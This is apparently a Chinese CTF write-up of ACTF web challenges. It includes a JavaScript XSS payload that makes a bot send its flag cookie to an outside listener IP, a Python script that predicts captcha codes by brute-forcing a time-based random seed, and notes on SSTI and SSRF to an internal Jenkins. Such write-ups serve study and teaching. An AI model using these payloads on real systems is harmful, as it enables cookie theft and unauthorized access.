周末看了下ACTF的题目,在这里做个记录
easy latex
题目起手先在bot里面看到了flag
可是被设置为了httpOnly
,也就是我们不可能使用xss去获得flag,查看其应用路由。在vip中发现
它获取了请求中的cookie,将其重新拼装后发送请求,也就是我们的bot只要向vip 路由发送post请求就能拿其Cookie,但是我们需要外带的话,需要控制其username为我们监听的地址或者webhook。最后就是找个地方能触发JS脚本执行的地方,外带脚本如下
const url = "http://localhost:3000/login";
const requestBody = "username=http%3A%2F%2F49.232.214.202%3A5000%2F&password=add29f48a5ae410bd6e875c8cd1ab8b7";
fetch(url, {
method: "POST",
// 设置请求头
headers: {
"Host": "localhost:3000",
"Accept": "textml,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Referer": "http://localhost:3000/login",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": requestBody.length.toString(),
"Origin": "http://localhost:3000",
"DNT": "1",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
},
body: requestBody,
})
.then(async (response) => {
await sleep(100);
fetch('http://localhost:3000/vip', {
method: 'POST',
body: JSON.stringify({ code: "3672953f54673678" }),
headers: {
'Content-Type': 'application/json',
},
credentials: 'include',
});
});
const sleep = (time) => {
return new Promise(resolve => setTimeout(resolve, time));
};
路由内可以造成XSS就两个点,一个preview一个note,但是note需要登录,看了下逻辑不太可能去绕过VIP,然后试了下在puppeteer中是可以使用../
去逃逸出固定的路由的,所以可以使用preview
去触发XSS这个点
在preview
路由中
我们的theme
可控,然后渲染页面后会去加载/js/base.js
,所以我们只要将上面的脚本放在服务器上,让其加载就能造成XSS
story
看了下代码第一眼:致敬Jumpserver哈哈哈哈
实例化Captcha播种,其中的key可以通过发送访问请求和第一次random来算出来,然后就是计算在实例化后到发送VIP经过几次random可以算出来成为VIP需要的验证码,我这里是先登录后播种再去成为VIP,所以只要算/captcha和/vip
路由的即可,然后就是SSTI,选一条好绕的开爆就完事了
计算脚本:
import random
import typing as t
import os
from PIL.Image import new as createImage, Image, QUAD, BILINEAR
from PIL.ImageDraw import Draw, ImageDraw
from PIL.ImageFilter import SMOOTH
from PIL.ImageFont import FreeTypeFont, truetype
from io import BytesIO
import time
import jwt
import requests
from flask_jwt_extended import decode_token
from flask_unsign import decode
ColorTuple = t.Union[t.Tuple[int, int, int], t.Tuple[int, int, int, int]]
DATA_DIR = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'data')
DEFAULT_FONTS = [os.path.join(DATA_DIR, 'DroidSansMono.ttf')]
def generate_code(length: int = 4):
characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(characters) for _ in range(length))
def random_color(start: int, end: int, opacity: t.Optional[int] = None) -> ColorTuple:
red = random.randint(start, end)
green = random.randint(start, end)
blue = random.randint(start, end)
if opacity is None:
return (red, green, blue)
return (red, green, blue, opacity)
class Captcha:
lookup_table: t.List[int] = [int(i * 1.97) for i in range(256)]
def __init__(self, width: int = 160, height: int = 60, key: int = None, length: int = 4,
fonts: t.Optional[t.List[str]] = None, font_sizes: t.Optional[t.Tuple[int]] = None):
self._width = width
self._height = height
self._length = length
self._key = key
self._fonts = fonts or DEFAULT_FONTS
self._font_sizes = font_sizes or (42, 50, 56)
self._truefonts: t.List[FreeTypeFont] = []
# random.seed(self._key)
@property
def truefonts(self) -> t.List[FreeTypeFont]:
if self._truefonts:
return self._truefonts
self._truefonts = [
truetype(n, s)
for n in self._fonts
for s in self._font_sizes
]
return self._truefonts
@staticmethod
def create_noise_curve(image: Image, color: ColorTuple) -> Image:
w, h = image.size
x1 = random.randint(0, int(w / 5))
x2 = random.randint(w - int(w / 5), w)
y1 = random.randint(int(h / 5), h - int(h / 5))
y2 = random.randint(y1, h - int(h / 5))
points = [x1, y1, x2, y2]
end = random.randint(160, 200)
start = random.randint(0, 20)
Draw(image).arc(points, start, end, fill=color)
return image
@staticmethod
def create_noise_dots(image: Image, color: ColorTuple, width: int = 3, number: int = 30) -> Image:
draw = Draw(image)
w, h = image.size
while number:
x1 = random.randint(0, w)
y1 = random.randint(0, h)
draw.line(((x1, y1), (x1 - 1, y1 - 1)), fill=color, width=width)
number -= 1
return image
def _draw_character(self, c: str, draw: ImageDraw, color: ColorTuple) -> Image:
font = random.choice(self.truefonts)
left, top, right, bottom = draw.textbbox((0, 0), c, font=font)
w = int((right - left)*1.7) or 1
h = int((bottom - top)*1.7) or 1
dx1 = random.randint(0, 4)
dy1 = random.randint(0, 6)
im = createImage('RGBA', (w + dx1, h + dy1))
Draw(im).text((dx1, dy1), c, font=font, fill=color)
# rotate
im = im.crop(im.getbbox())
im = im.rotate(random.uniform(-30, 30), BILINEAR, expand=True)
# warp
dx2 = w * random.uniform(0.1, 0.3)
dy2 = h * random.uniform(0.2, 0.3)
x1 = int(random.uniform(-dx2, dx2))
y1 = int(random.uniform(-dy2, dy2))
x2 = int(random.uniform(-dx2, dx2))
y2 = int(random.uniform(-dy2, dy2))
w2 = w + abs(x1) + abs(x2)
h2 = h + abs(y1) + abs(y2)
data = (
x1, y1,
-x1, h2 - y2,
w2 + x2, h2 + y2,
w2 - x2, -y1,
)
im = im.resize((w2, h2))
im = im.transform((w, h), QUAD, data)
return im
def create_captcha_image(self, chars: str, color: ColorTuple, background: ColorTuple) -> Image:
image = createImage('RGB', (self._width, self._height), background)
draw = Draw(image)
images: t.List[Image] = []
for c in chars:
if random.random() > 0.5:
images.append(self._draw_character(" ", draw, color))
images.append(self._draw_character(c, draw, color))
text_width = sum([im.size[0] for im in images])
width = max(text_width, self._width)
image = image.resize((width, self._height))
average = int(text_width / len(chars))
rand = int(0.25 * average)
offset = int(average * 0.1)
for im in images:
w, h = im.size
mask = im.convert('L').point(self.lookup_table)
image.paste(im, (offset, int((self._height - h) / 2)), mask)
offset = offset + w + random.randint(-rand, 0)
if width > self._width:
image = image.resize((self._width, self._height))
return image
def generate_image(self, chars: str) -> Image:
background = random_color(238, 255)
color = random_color(10, 200, random.randint(220, 255))
im = self.create_captcha_image(chars, color, background)
self.create_noise_dots(im, color)
self.create_noise_curve(im, color)
im = im.filter(SMOOTH)
return im
def generate(self, format: str = 'png',code: str= '') -> (BytesIO,str):
code = code
im = self.generate_image(code)
out = BytesIO()
im.save(out, format=format)
out.seek(0)
return out, code
def write(self, output: str, format: str = 'png') -> (Image, str):
code = generate_code(self._length)
im = self.generate_image(code)
im.save(output, format=format)
return im, code
burp0_url = "http://127.0.0.1:15000/captcha"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1"}
rsp = requests.get(burp0_url, headers=burp0_headers)
timestamp = int(time.time())
session_cookie = rsp.cookies.get('session')
decoded_payload = decode(session_cookie)
cap = decoded_payload.get("captcha")
for i in range(1,100):
key = timestamp + i
random.seed(key)
code = generate_code()
if code == cap:
print(key)
gen = Captcha(200, 80,key=key)
buf, captcha_text = gen.generate(code=code)
captcha = generate_code()
print(captcha)
break
hooks
整个题目架构就是用Nginx去反代一个程序,然后内网还有个jenkins
使用gitlab
的webhook
经过302重定向可以发送get
请求,访问nginx
会回显一个重定向参数,然后将其重定向到内网的jenkins
,发现其版本为2.138
,存在历史漏洞,但是我咋都打不通,且nginx
代理的程序存在waf
,后面在看